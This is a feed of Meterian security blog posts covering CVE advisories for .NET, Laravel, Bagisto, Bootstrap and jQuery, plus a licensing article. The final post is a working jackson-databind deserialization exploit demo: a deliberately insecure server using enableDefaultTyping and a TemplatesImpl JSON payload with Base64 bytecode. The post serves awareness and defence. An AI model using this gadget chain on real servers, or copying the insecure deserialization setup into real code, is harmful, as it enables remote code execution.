DEV Community: Bruno Bossola

Attention! New .NET Vulnerabilities

Bruno Bossola — Mon, 17 Feb 2020 13:11:16 +0000

Greetings App Sec community! Meterian is back with some .NET vulnerabilities which need some attention. Both these vulnerabilities are of a medium to high threat nature, so make sure to give this a read, it’ll be worth your while. The first case deals with a cross-site scripting vulnerability, whilst the second can cause a core denial of service issue. Don’t let hackers use this as a backdoor to your systems and networks. Stay protected people!

CVE-2019-1301: .NET Core suffers from a denial of service vulnerability when it improperly handles web requests.

CVE-2019-12562: There is stored cross-site scripting vulnerability in DotNetNuke (DNN) versions before 9.4.0, allowing attackers to store and embed malicious script into the administration notification page.

CVE-2019-1301

Vulnerability Score: 7.5/HIGH

Platform: .NET

Components:

Affected Versions:

.NET Core / Microsoft.NetCore.App: 2.1.0-2.1.12 or 2.2.0-2.2.6
System.Net.Sockets: 4.3.0

The first .NET vulnerability we bring to your urgent attention is a denial of service vulnerability which occurs when .NET Core improperly handles web requests. The affected versions are in any .NET Core based application running on .NET Core 2.1.0 to 2.1.12 or 2.2.0 to 2.2.6, and System.Net.Sockets 4.3.0. This is regarded as a high threat to security and should be tended to immediately.

How can you confirm if your .NET application is affected? Run the dotnet –info command to see the list of the versions you have installed. You will then see output as shown below:

https://github.com/dotnet/announcements/issues/121

If you see that you have a version of .NET Core which is less than 2.1.13 or less than 2.2.7, then unfortunately you are vulnerable. The same applies if you are using the meta-package “Microsoft.NETCore.App”, with the same version range. Please note that this also applies to the package System.Net.Sockets version 4.3.0.

What is .NET Core? It is an open source, development platform which is maintained by Microsoft and the .NET community on GitHub. It can be used to build device, cloud and IoT applications.

Why is this vulnerability such a threat? Firstly, the attacker who is successful in the exploit of this vulnerability would use the denial of service against the .NET Core web application. Not only can this vulnerability be exploited remotely, but also without authentication of the user-cum-attacker. A denial of service attack (DoS) is focused on making a resource unavailable for the purpose of its design. The unavailability of a resource can come in many forms: manipulating network packets, programming, logical or resource handling vulnerabilities. Sometimes the attacker may execute arbitrary code to access critical information or execute commands on the server. Generally, this type of attack would cause response delays, large-scale losses, interruption to services and therefore an impact on availability.

So how can you fix this issue? It is recommended to install the latest version of .NET Core but it depends on the versions which you have already installed. You may need to update if you have either version 2.1 (upgrade at least to 2.1.13) or 2.2 (upgrade at least to 2.2.7). If you are using the meta-package, upgrade the meta-package following the same version numbering. Also, if you are using System.Net.Sockets, please upgrade to version 4.3.1

CVE-2019-12562

Vulnerability Score: 6.1/MEDIUM

Platform: .NET

Component: DotNetNuke

Affected Versions: up to 9.4.0

You read right. DotNetNuke (DNN) has a cross-site scripting vulnerability before versions 9.4.0 which is allowing remote attackers to store and embed malicious script into the admin notification page. The success of this exploit occurs when an admin user visits a notification page with stored cross-site scripting.

A little information on DNN. First of all, it is a program that runs on Microsoft ASP.NET. It is also a framework, meaning it is a program designed to be extended. When you install DNN it can allow the creation of thousands of individual portals. These portals can then display pages and the pages display modules. More importantly, DNN is an open source web content management system meaning many businesses around the world rely on it for organisational purposes. DNNSoftware.com has over 1million registered members since 2013 and is used on nearly 750,000 websites globally. This might illuminate how many people could be affected by this vulnerability and why this needs urgent attention to avoid getting hacked.

The severity of this vulnerability is emphasised through the fact that stored cross site-scripting is the most dangerous type of cross-site scripting. The exploit could be used to perform any action that has administrator privileges. This includes: managing content, adding users, uploading backdoors to the server and more.

Once this vulnerability had been detected it was reported to the DNN Software Security Department who have fixed the problem and released a patch. Users should update to the latest version 9.4.0 of DNN to avoid any security holes within their systems and networks.

That is it from us…for now! Make sure to spread the word on these .NET vulnerabilities in order to help protect your apps or the apps you develop. But as you all know, open-source vulnerabilities are discovered daily, so you can expect us to be back with new vulnerabilities very soon!

Knowing is half the battle. The other half is doing. Let Meterian help your dev team stay in the know and on top of the latest updates to secure your apps continuously. Sign up here to download the Meterian client today. You’ll get an instant analysis of your first project for free. See the risks immediately and know which components to remove or upgrade to secure your app.

Vulnerability Focus: PHP

Bruno Bossola — Fri, 31 Jan 2020 16:34:47 +0000

I'd like to share a few of the curated PHP vulnerabilities recently been reported. They focus on the Laravel and Bagisto frameworks.

CVE-2019-9081

Vulnerability Score: Critical––9.8 (CVSS v3.0)
Platform: PHP
Component: laravel/laravel
Affected versions: 5.7.0 – 5.7.27

Attention to all PHP programmers! Read up, this is important stuff. On the 24/02/19, a vulnerability was found in the Illuminate component of Laravel Framework 5.7.x., a PHP development framework based on PHP 7.1.3. The severity of the threat is understood when seeing that 107,933 live websites use Laravel. It is also said to be the most popular web app category in the United Kingdom. This demonstrates the scale of potentially affected users, and why action needs to be taken quickly to avoid security flaws.

The vulnerability is related to the __destruct method of the PendingCommand class in PendingCommand.php. It is a deserialization RCE (Remote Code Execution) vulnerability originating from a laravel core package and has shown to be triggered as long as the deserialized content is controllable. The access vector was through the network.

So what is the threat? In regards to CWE-502, when developers place restrictions on ‘gadget chains’ and method invocations that can self-execute during the deserialization process, this can allow attackers to leverage them to make unauthorized actions. For example, generating a shell. Manipulation with an unknown input leads to a privilege escalation vulnerability (code execution). Therefore, this vulnerability could have a negative impact on confidentiality, integrity and availability. Even worse, an attack can be initiated remotely with no form of authentication needed for exploitation.

It is suggested to upgrade the laravel framework to version 5.7.27 or higher as soon as possible. So don’t waste any time! Or risk being vulnerable to potential cyber attacks!

CVE-2019-14933

Vulnerability Score: High — 8.8 (CVSS v3.0)
Platform: PHP
Component: bagisto
Affected versions: 0.1.5

Bagisto is a tailored e-commerce framework designed on some of the hottest open-source technologies such as Laravel, a PHP framework. It cuts down on the resources needed to deploy an e-commerce platform (i.e. building online stores or migrating from physical stores).

Alas, we regret to be the bearer of bad news. Version 0.1.5 of Bagisto has been found to contain a cross-site request forgery (CSRF) vulnerability which could result in client side manipulation that forces end users to execute unwarranted commands on a web application for which they are currently authenticated. It should be noted that this compromised version allows for CSRF attacks under certain conditions, such as admin Uniform Resource Identifiers (URIs). This CSRF vulnerability manipulates authenticated users’ browsers to send forged HTTP requests, including cookie sessions to exposed web applications.

Here is some background information on the nature of CSRF attacks. Unlike remote code execution or command injection attacks, CSRF attacks specifically target state-changing requests as opposed to misappropriation of restricted data. Nonetheless, unauthorised state-changing requests can be equally bad; with the help of social engineering tactics (i.e. sending unwarranted links via email or chat support), attackers may trick end users into executing unsanctioned commands of the attackers’ choice. A successful CSRF attack could lead to vexing situations whereby attackers coerce end users into performing fund transfers, email address changes, and so forth. Furthermore, CSRF attacks can go as far as compromising entire web application systems upon gaining access to an administrator account.

In this context, hackers can trick end users by sending requests (i.e phishing emails) to lure them to open and display some apparently innocuous content in a new tab on the browser, which in turn, prompts it to execute the hidden malicious script, than can operate on behalf of the user.

This is a graphic illustrating the play-by-plat on how attackers can exploit the vulnerability to perform CSRF and remove important functionalities, which could lead to denial of services and loss of data on an e-commerce platform.
How attackers can exploit Bagisto open-source vulnerability

The graphic above illustrates the play-by-play on how attackers can exploit this vulnerability to perform CSRF and remove important functionalities, which could lead to denial of services and loss of data on an e-commerce platform.

In Step 1, the user first logs into the Bagisto admin page panel and subsequently accesses a seemingly innocuous website on another tab in the user’s browser. This website contains a malignant script (placed by the hacker), and the action of accessing this tab will lead to Step 3 where the script will be executed; the browser is instructed by said script to perform any possible harmful action on behalf of the user in Step 3. This course of user action culminates in Step 4 with the server executing the requested malicious actions, such as deleting data on the admin panel.

Nonetheless, affected users will be glad to know that all versions of Bagisto following v0.1.5 are untouched by this CSRF vulnerability. So, there you have it – update your application to the latest version of the Bagisto framework at the soonest to avoid further exposure!

Spread the word on these vulnerabilities and their fixes to help us improve application security all-around. In any case, you can certainly expect more engaging reads on PHP in the near future. Until then!

Get involved!

Knowing is half the battle, the other is doing.

Have you already fixed your code to avoid such vulnerabilities?
Please like this article if you found it useful.

If you have open-source projects on GitHub, you can try our free project scanner. To use it daily for your project, drop us a line at marketing@meterian.com. We'd love to hear about your open-source project.

For private code projects on any source code repository, give your project a spin on Meterian.

The secret sauce of software licenses: it may be bitter.

Bruno Bossola — Tue, 21 May 2019 10:00:09 +0000

Friendly disclaimer.

First and foremost, let me immediately start saying that this article is not legal advice, but it's my attempt to explain in a simple way the problems connected to software licensing: in case of emergency, call a lawyer :)

The problem.

Many people think that because you can download a piece of software without paying a fee it means that such software is free. But if something is freely available, it does not mean that the same thing is free to use. Some development teams have the expectation that, when including a software component in their own customised system, it simply becomes “part of it” inheriting their licensing model: this is simply not true.

Imagine, for example, that you are building a new revolutionary car, all electric, and self-driving! You will need a lot of software to make that happen, and certainly, you do not want to code everything from scratch. So you start first assembling some basic components, an operating system (Linux), some basic tools (BusyBox), some software from other vendors and then you finally write your magic code. Sounds familiar? Anybody said “Tesla” in the audience? And what happens when a competitor discovers that you are using open source software with a certain license (GPL) and asks you to provide them with your code, the valuable code you wrote... well, they can lawfully do so and you will have to comply! And so that's what happened, and forced Tesla to start releasing its software on public repositories. But please, without leaving the car making business, see also BMW who handed over its i3 car code to a random guy, who immediately published it on GitHub.

The restrictions.

It's important to understand the restrictions you face when you decide to use an opensource component. Even one single component with the wrong license can impose a restriction on all your source code.

you may be forced to release your code under the same license. If you use a component licensed for example under GPL or AGPL (or even LGPL in case of derivative work), all your software will have to be released with the same license.
you may be forced to release to the public your source code. If you use a component licensed for example under MPL or GPL, you will have to provide all your code in a human-readable format upon request (distribution of obfuscated code is not compliant).
you may not be allowed to distribute your software commercially. Licenses like the Oracle BCLA will prevent that, and you can easily be sued (and you will most certainly lose).

But wait, what about the code that does not have any license? For sure I can use it without problems, right? And the answer is again a resounding no! Under current law, copyright extends for the life of the author plus 70 years (and sometimes 120 years after its creation), and the creator (or his/her dynasty) can simply sue you for using it. Unless a piece of code includes a license, do not use it.

The risks.

If you decide to not comply with a license, or you are simply unaware of the problem (this would be the most common case) you face two main risks.

First, you are in actual violation of contractual obligations. This can lead to a long case in court that, if you are lucky, you settle outside court, with money transferred. There are a lot of examples of that, with payment that go up to $100K (please see an incomplete list here), so I really think you should not discount this risk, also because in some cases, firms preferred to file for bankruptcy in order to avoid bigger losses.

Second, you may be in violation of statutory law, a corporate liability that may become also a personal liability. Corporate Criminal Responsibility derived from copyright crimes can also be extended to labour law, in case it can be demonstrated that the responsible was not carrying out his duties properly.

Solutions.

First and foremost you need to be aware of the problem. If you read this article until this point, you now probably are, so we can safely assume you are onboard with this point.

Now, assuming your company is building software, you need to make sure that all components your development team is using, and end up being part of the final product, are accounted for in terms of licensing. Remember: one single component in your chain can influence the whole system.

You will need then to create policies to allow/disallow certain licenses to be used and enforce them across your development teams. The best solution would be an automated one, which automatically detects violations and blocks unwanted releases.

Meterian to the rescue!

Meterian, among others, provides an elegant mitigation for this problem, which is also affordable and efficient. By placing Meterian in your development pipeline you can have continuous reporting about the licenses used by your software so that you can make sure you are not exposed to the risks explained before. Please have a look to one of our reports.

When Meterian is included in your development pipeline, policies can also be enforced so that the presence of certain licenses will stop the build to progress further, preventing the product to be shipped to the final customers.

Make sure to get in touch if you want to learn more!

Time to update Bootstrap and JQuery!

Bruno Bossola — Wed, 08 May 2019 18:15:13 +0000

Bootstrap
Bootstrap v4.3.1 and v3.4.1 are out and available to patch an XSS vulnerability, CVE-2019-8331. For any users of the legacy 3.3.7, this will fix also other three XSS issues, namely CVE-2018-14040, CVE-2018-14041 and CVE-2018-14042. Bootstrap now include a JavaScript sanitizer that will only allow whitelisted HTML elements in the data attribute of an element.

It's available through all the channels: as NPM package, via CDNs and for old fashioned guys also as a direct download from Github.

JQuery
Also, please do not forget JQuery! Versions prior to 3.4.0 are susceptible to prototype pollution attack (see CVE-2019-11358): even if the attack is quite complicated, it's advisable to upgrade any web app that uses jQuery code for its frontend.

You can find it as NPM package or via CDNs

Conclusions?
You do not have any excuses now: upgrade now!

Execute Java code on a remote server using JSON

Bruno Bossola — Tue, 07 May 2019 13:55:55 +0000

Abstract.

How difficult is to exploit a vulnerability in a common Java library in order to remotely execute Java code on a remote server and successfully taking control over it? Not much, really. In this article, we will demonstrate how to do that using CVE-2017-7525, a well-known vulnerability in jackson-databind, a widely used library to serialize and deserialize JSON, also part of the spring-boot stack. All the code used here is available on GitHub.

The sample code.

As we all know, the task of serializing and deserializing JSON messages is a very common task, especially in modern microservices REST-based applications: almost every time an API is called, a JSON message is sent to the server, to be transformed in a Java object. Because of a stream of deserialization vulnerabilities in jackson-databind it's now possible to write simple exploits in order to get access to unpatched servers when polymorphic type handling is enabled.

In order to clearly explain the concepts, we are introducing here a simple server that handles products with two REST APIs, one to get the list of the products and one to add a new product. Please note that this is just a sample: we just want to provide you with a simple and understandable piece of code, and by no means it can be classified (we hope!) as production code.

A sample of our Product class, it holds some basic product information:

public class Product {

    private int id;
    private String name;
    private String description;
    private Object data; 

    protected Product() {
    }

    [...]

Our ProductDatabase class, just a glorified HashMap

public class ProductsDatabase {

  private Map<String, Product> products = new HashMap<>();
  private AtomicInteger idGenerator = new AtomicInteger(0);

  public ProductsDatabase() {
     add(new Product(0,"apple", "Real apple from Italy", randomData()));
     add(new Product(0,"orange", "Real orange from Italy", randomData()));
     add(new Product(0,"kiwi", "Real kiwi from Italy", randomData()));
  }

  public Collection list() {
    return Collections.unmodifiableCollection(products.values());
  }

  public Product add(Product newProduct) {
    Integer newId = idGenerator.incrementAndGet();
    Product product = newProduct.duplicate(newId);
    products.put(newId.toString(), product);
    return product;
  }

  [...]
}

Our simple server, written with SparkJava:

public class Main {

  private static ProductsDatabase products = new ProductsDatabase();
  private static ObjectMapper deserializer = new ObjectMapper().enableDefaultTyping();
  private static ObjectMapper serializer = new ObjectMapper();

  public static void main(String[] args) {

    port(8888);

    // GET list all products
    get("/products", (request, response) -> {
      Collection res = products.list();
      return serializer.writeValueAsString(res);
    });

    // POST add new product
    post("/products", (request, response) -> {
      Product received = deserializer.readValue(request.body(), Product.class);
      products.add(received);
      response.status(201);
    });
  }
  [...]
}

You can add a product to the database with a simple curl call with a JSON body containing the new product data:

curl -i -X POST -d '{"name":"melon","description":"Real melon from Italy", "data":["java.util.HashMap",{"cost":2,"color":"yellow"}]}' http://localhost:8888/products

The exploit.

In order to exploit the vulnerability, we need to have a vector. On this occasion we decided to use Apache Xalan, a common XSLT library also included in the JDK (which, until version 8u45, is possible to use as the vector, in the same way Xalan is used here). Please note that there are a lot of other options available as attack vectors, but for the sake of simplicity, we will focus here on a very specific one.

We will use a particular class from Xalan which is capable to deserialize an encoded class file from an XML, and dynamically create an instance of such class: we will craft a JSON message that will contain the encoded class of our exploit class here:

public class Exploit extends org.apache.xalan.xsltc.runtime.AbstractTranslet {

  public Exploit() throws Exception {
    System.err.println("Your server has been compromised!");
  }

  @Override
  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  }

  @Override
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  }
}

We just need to compile this source code in a .class file, encoded it in Base64 and prepare our evil JSON message:

{
  "name": "fakeapple",
  "description": "Fake fruit from UK",
  "data": ["org.apache.xalan.xsltc.trax.TemplatesImpl",
  {
    "transletBytecodes" : [ "yv66vgAAADQALgcAAgEAB0V4cGxvaXQHAAQBAC9vcmcvYXBhY2hlL3hhbGFuL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEABjxpbml0PgEAAygpVgEACkV4Y2VwdGlvbnMHAAkBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAEQ29kZQoAAwAMDAAFAAYJAA4AEAcADwEAEGphdmEvbGFuZy9TeXN0ZW0MABEAEgEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwgAFAEAIVlvdXIgc2VydmVyIGhhcyBiZWVuIGNvbXByb21pc2VkIQoAFgAYBwAXAQATamF2YS9pby9QcmludFN0cmVhbQwAGQAaAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAlMRXhwbG9pdDsBAAl0cmFuc2Zvcm0BAFAoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO1tMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAIgEAKG9yZy9hcGFjaGUveGFsYW4veHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEAHExvcmcvYXBhY2hlL3hhbGFuL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAMVtMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHMoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO0xvcmcvYXBhY2hlL3htbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xvcmcvYXBhY2hlL3htbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBACRMb3JnL2FwYWNoZS94bWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQAwTG9yZy9hcGFjaGUveG1sL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEV4cGxvaXQuamF2YQAhAAEAAwAAAAAAAwABAAUABgACAAcAAAAEAAEACAAKAAAAOwACAAEAAAANKrcAC7IADRITtgAVsQAAAAIAGwAAAAoAAgAAAAgABAAJABwAAAAMAAEAAAANAB0AHgAAAAEAHwAgAAIABwAAAAQAAQAhAAoAAAA/AAAAAwAAAAGxAAAAAgAbAAAABgABAAAADQAcAAAAIAADAAAAAQAdAB4AAAAAAAEAIwAkAAEAAAABACUAJgACAAEAHwAnAAIABwAAAAQAAQAhAAoAAABJAAAABAAAAAGxAAAAAgAbAAAABgABAAAAEgAcAAAAKgAEAAAAAQAdAB4AAAAAAAEAIwAkAAEAAAABACgAKQACAAAAAQAqACsAAwABACwAAAACAC0=" ],
    "transletName": "oops!",
    "outputProperties": {}
   }
 }

After sending the message to the server as a normal "add product" request, the encoded class will be instantiated by the Xalan TemplatesImpl class in order for it to populate the value of the outputProperties field: as the constructor code is executed, the evil code is executed as well and the server compromised. Yes, you might have exceptions in the server, but it's too late.

Conclusions

This is just one example among hundreds of exploits currently possible using public vulnerabilities on various open source libraries and for that reason, it's extremely important that you add to your build pipeline a scanner capable to detect and block the build if such situation is detected. We would kindly invite you to use our simple command line client available at meterian.io and avoid future nasty surprises. You do not want to be the next Equifax.

You can reach me at meterian.io!

Disclaimer: please note that all these information are publicly available on the internet. This is just a summary post from a cybersecurity practitioner and nothing else. The code provided is for research purposes only. This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.